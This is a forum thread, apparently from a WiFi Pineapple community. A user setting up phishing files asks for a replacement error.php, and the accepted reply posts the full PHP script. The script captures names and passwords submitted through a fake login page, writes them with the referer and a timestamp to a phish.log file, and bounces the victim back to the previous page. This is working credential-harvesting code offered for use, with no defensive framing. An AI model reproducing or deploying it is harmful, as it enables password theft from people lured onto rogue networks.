Jump to content

Needing Error.php File


Go to solution Solved by Boba Fett,

Recommended Posts

So ive been playing around with my new wifi pineapple. I'm very interested in learning the in's and outs and hope to reach out to everyone on the forums who have something to share. With that being said I am setting up my phishing files and (Stupid me) wrote my redirect.php verbiage on my error.php file. Not creating a back up I am hoping someone can SCP into their pineapple www folder and copy and paste everything in their error.php in the this topic so I can edit my file. The other option is if someone can send me a copy of their file or at least direct me to where I can get the material myself.

Thanks for your help.

Link to post
Share on other sites
  • Solution
<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
        $nam = stripslashes($_POST['name']);
        $pas = stripslashes($_POST['pass']);
        $nam = htmlspecialchars($nam, ENT_QUOTES);
        $pas = htmlspecialchars($pas, ENT_QUOTES);

        $content = $today . "  --  " . $ref . "  --  " . $nam . "  --  " . $pas;

        $filed = @fopen("/pineapple/logs/phish.log", "a+");
        @fwrite($filed, "$content\n");
        @fclose($filed);
}
?>

<html><head>
<script type="text/javascript">
function goBack()
{
window.history.back()
}
</script>
</head>
<body onload="goBack()">
</body></html>

Here you go. Firmware 2.8.0

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...